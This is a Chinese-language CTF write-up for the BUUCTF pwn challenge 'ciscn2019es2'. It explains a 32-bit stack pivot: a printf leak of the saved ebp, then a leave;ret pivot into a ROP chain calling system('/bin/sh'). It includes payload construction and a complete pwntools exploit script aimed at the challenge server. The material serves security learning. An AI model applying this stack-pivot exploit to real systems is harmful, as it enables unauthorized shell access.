1.checksec+运行获取基本信息
32位+NX堆栈不可执行
2.常规IDA操作
1.main函数
并没有什么
2.int vul()函数
程序主体,信息很多
1.两次read都在往同一个地方s处读入数据
2.要读入0x30,但s大小只有0x28,如果有后门函数,直接常规栈溢出操作
但是shift+f12
这里仅仅是打印flag字符串,没有用
同时查看hack函数
system里面的参数不是bin_sh不能直接用,所以要修改system的参数
但是...........
s只有0x28,要读入0x30,所以只有0x30-0x28=0x8的空间让我们构造ROP链
于是乎
我们找新的地方,足够大来构造,也就是
栈迁移
但是栈迁移不是想用就能用的,需要满足条件
1.存在leave ret的gadget指令
2.存在可执行shellcode的地方(system函数,自己写入binsh)
利用思路+具体操作
题目两次read读入,有两次溢出,第一次溢出需要泄露栈上地址,为第二次迁移准备(确定迁移地址)
程序提供了printf函数,该函数有一个特性,在没有遇到终止符"\0"会一直输出,可利用它泄露出栈上地址,得到劫持位置的准确地址.
payload1 = b'A' * (0x27) + b'B'#留一个位置补"\0"#连带打印出ebp的地址
p.send(payload1) # 不要用 sendline,sendline会发送空格,导致无法补"\0"中断
p.recvuntil("B")#接收printf返回的ebp前要先recv前面read输入的内容
old_ebp = u32(p.recv(4))
print(hex(original_ebp))
缓冲区参数s的位置可以用ebp寻址,所以用printf泄露ebp的地址
用gdb确定参数位置
应该是不能在main函数下断点,断点下在main函数,不能再输入参数了
单用gdb不开root权限,可以输入,但是好像不能看栈的结构
其实下在main函数处
输入n,多运行几步,n到可以输入参数的位置就行了,但是要注意别n过头了
所以在想一个问题:
如何找到合适的下断点的位置?
目前还没有找到,先记下了----2022年4月22日晚10点记
将断点下在vul函数的nop位置
输入bbbb确定位置
python 计算一下
确定s位置
ebp-0x38
具体攻击过程
1.覆盖原栈上ret为leave ret的地址
2.将old_ebp覆盖为old_ebp-0x38,old_ebp已通过printf泄露出来
栈空间不会复原,而是
之后执行第二个leave ret,也就是已经实现将 esp 劫持至 old_ebp -0x38处的栈迁移效果
接下来
为常规的栈溢出操作,执行 system 的shellcode 以完成对 eip 与执行流的篡改
payload2 = b'aaaa'
payload2 += p32(system_addr)
payload2 += b'bbbb'
payload2 += p32(original_ebp - 0x28) #迁移到新位置就是一个正常的栈溢出,s大小为0x28
payload2 += b'/bin/sh\x00'
payload2 = payload2.ljust(0x28, b'p')
补充:Python ljust知识
Python ljust() 方法返回一个原字符串左对齐,并使用空格填充至指定长度的新字符串。如果指定的长度小于原字符串的长度则返回原字符串。
str = "this is string example....wow!!!";
print str.ljust(50, '0');
输出结果:
this is string example....wow!!!000000000000000000
接着构造
payload2 += p32(original_ebp - 0x38) # 参数s的位置
payload2 += p32(leave_ret) # new leave ret
写到这里,最后交互,攻击就结束了
完整的脚本
from pwn import*
#p=process('./ciscn2019es2')
p=remote("node4.buuoj.cn",28058)
system_addr = 0x08048400
leave_ret = 0x080484b8
payload1 = b'A' * (0x27) + b'B'
p.send(payload1) # not sendline
p.recvuntil("B")
original_ebp = u32(p.recv(4))
print(hex(original_ebp))
payload2 = b'aaaa'
payload2 += p32(system_addr)
payload2 += b'bbbb'
payload2 += p32(original_ebp - 0x28)
payload2 += b'/bin/sh\x00'
payload2 = payload2.ljust(0x28, b'p')
payload2 += p32(original_ebp - 0x38)
payload2 += p32(leave_ret)
p.sendline(payload2)
p.interactive()